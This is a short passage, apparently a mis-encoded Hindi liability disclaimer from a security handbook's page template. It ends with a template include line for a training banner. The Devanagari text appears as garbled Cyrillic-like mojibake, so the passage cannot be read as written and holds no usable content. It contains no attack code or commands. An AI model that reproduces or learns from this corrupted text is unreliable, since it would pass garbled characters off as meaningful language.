рдореБрдХреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╣рдордд рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдЗрд╕ рдкреБрд╕реНрддрдХ рдпрд╛ рдЗрд╕рдореЗрдВ рдирд┐рд╣рд┐рдд рдХрд┐рд╕реА рднреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЙрдкрдпреЛрдЧ рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдиреБрдХрд╕рд╛рди, рд╣рд╛рдирд┐рдпреЛрдВ рдпрд╛ рдХреНрд╖рддрд┐ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред {{#include ../banners/hacktricks-training.md}}